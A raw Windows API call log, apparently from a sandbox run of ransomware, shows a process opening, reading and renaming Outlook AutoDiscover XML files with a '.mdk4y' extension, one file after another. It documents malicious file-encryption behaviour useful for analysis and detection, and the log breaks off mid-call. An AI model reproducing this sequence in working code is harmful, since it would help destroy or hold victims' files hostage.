1 [0231.602] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml.mdk4y")) returned 1 [0231.603] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.603] AreFileApisANSI () returned 1 [0231.603] GetACP () returned 0x4e4 [0231.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ROGERS.COM.XML", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ROGERS.COM.XMLL", lpUsedDefaultChar=0x37df4c) returned 14 [0231.603] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830683400000) returned 1 [0231.604] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x332, lpOverlapped=0x0) returned 1 [0231.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830683500000) returned 1 [0231.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830683500000) returned 1 [0231.605] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml.mdk4y")) returned 1 [0231.607] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.607] AreFileApisANSI () returned 1 [0231.608] GetACP () returned 0x4e4 [0231.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SBCGLOBAL.NET.XML", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SBCGLOBAL.NET.XML", lpUsedDefaultChar=0x37df4c) returned 17 [0231.608] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830683800000) returned 1 [0231.608] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x330, lpOverlapped=0x0) returned 1 [0231.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830683900000) returned 1 [0231.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830684000000) returned 1 [0231.610] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml.mdk4y")) returned 1 [0231.611] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.611] AreFileApisANSI () returned 1 [0231.611] GetACP () returned 0x4e4 [0231.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SNET.NET.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SNET.NET.XMLT.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0231.612] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830684200000) returned 1 [0231.612] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x326, lpOverlapped=0x0) returned 1 [0231.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830686200000) returned 1 [0231.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830686200000) returned 1 [0231.633] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml.mdk4y")) returned 1 [0231.635] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.635] AreFileApisANSI () returned 1 [0231.635] GetACP () returned 0x4e4 [0231.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SWBELL.NET.XML", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SWBELL.NET.XMLXML", lpUsedDefaultChar=0x37df4c) returned 14 [0231.635] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830686600000) returned 1 [0231.636] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32a, lpOverlapped=0x0) returned 1 [0231.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830689100000) returned 1 [0231.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830689100000) returned 1 [0231.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml.mdk4y")) returned 1 [0231.676] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.676] AreFileApisANSI () returned 1 [0231.676] GetACP () returned 0x4e4 [0231.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TALK21.COM.XML", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TALK21.COM.XML", lpUsedDefaultChar=0x37df4c) returned 14 [0231.676] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830690900000) returned 1 [0231.679] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x327, lpOverlapped=0x0) returned 1 [0231.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830691000000) returned 1 [0231.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830691000000) returned 1 [0231.680] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml.mdk4y")) returned 1 [0231.696] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.696] AreFileApisANSI () returned 1 [0231.696] GetACP () returned 0x4e4 [0231.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WANS.NET.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WANS.NET.XMLML", lpUsedDefaultChar=0x37df4c) returned 12 [0231.696] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830692800000) returned 1 [0231.698] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x326, lpOverlapped=0x0) returned 1 [0231.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830693000000) returned 1 [0231.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830693000000) returned 1 [0231.700] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml.mdk4y")) returned 1 [0231.703] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.703] AreFileApisANSI () returned 1 [0231.703] GetACP () returned 0x4e4 [0231.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.CA.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.CA.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0231.703] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830693600000) returned 1 [0231.706] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x324, lpOverlapped=0x0) returned 1 [0231.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830695200000) returned 1 [0231.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830695200000) returned 1 [0231.722] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml.mdk4y")) returned 1 [0231.736] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.736] AreFileApisANSI () returned 1 [0231.736] GetACP () returned 0x4e4 [0231.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.CO.ID.XML", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.CO.ID.XMLML", lpUsedDefaultChar=0x37df4c) returned 15 [0231.736] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830696900000) returned 1 [0231.739] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32a, lpOverlapped=0x0) returned 1 [0231.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830697700000) returned 1 [0231.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830697700000) returned 1 [0231.748] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml.mdk4y")) returned 1 [0231.754] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.754] AreFileApisANSI () returned 1 [0231.754] GetACP () returned 0x4e4 [0231.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.CO.IN.XML", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.CO.IN.XML", lpUsedDefaultChar=0x37df4c) returned 15 [0231.754] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830698700000) returned 1 [0231.758] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32a, lpOverlapped=0x0) returned 1 [0231.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830703300000) returned 1 [0231.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830703300000) returned 1 [0231.803] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml.mdk4y")) returned 1 [0231.805] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.805] AreFileApisANSI () returned 1 [0231.805] GetACP () returned 0x4e4 [0231.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.CO.JP.XML", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.CO.JP.XML", lpUsedDefaultChar=0x37df4c) returned 15 [0231.805] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.806] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830703600000) returned 1 [0231.806] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32b, lpOverlapped=0x0) returned 1 [0231.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830703900000) returned 1 [0231.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830703900000) returned 1 [0231.809] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml.mdk4y")) returned 1 [0231.810] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.810] AreFileApisANSI () returned 1 [0231.811] GetACP () returned 0x4e4 [0231.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.CO.KR.XML", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.CO.KR.XML", lpUsedDefaultChar=0x37df4c) returned 15 [0231.811] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830706800000) returned 1 [0231.838] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x326, lpOverlapped=0x0) returned 1 [0231.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830706900000) returned 1 [0231.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830706900000) returned 1 [0231.840] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml.mdk4y")) returned 1 [0231.842] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.842] AreFileApisANSI () returned 1 [0231.842] GetACP () returned 0x4e4 [0231.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.CO.NZ.XML", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.CO.NZ.XML", lpUsedDefaultChar=0x37df4c) returned 15 [0231.842] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830707400000) returned 1 [0231.844] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32c, lpOverlapped=0x0) returned 1 [0231.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830711300000) returned 1 [0231.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830711300000) returned 1 [0231.884] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml.mdk4y")) returned 1 [0231.885] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.885] AreFileApisANSI () returned 1 [0231.885] GetACP () returned 0x4e4 [0231.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.CO.TH.XML", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.CO.TH.XML", lpUsedDefaultChar=0x37df4c) returned 15 [0231.886] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830711700000) returned 1 [0231.887] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32a, lpOverlapped=0x0) returned 1 [0231.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830715900000) returned 1 [0231.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830715900000) returned 1 [0231.929] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml.mdk4y")) returned 1 [0231.931] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0231.931] AreFileApisANSI () returned 1 [0231.931] GetACP () returned 0x4e4 [0231.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="YAHOO.CO.UK.XML", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="YAHOO.CO.UK.XML", lpUsedDefaultChar=0x37df4c) returned 15 [0231.931] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0231.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 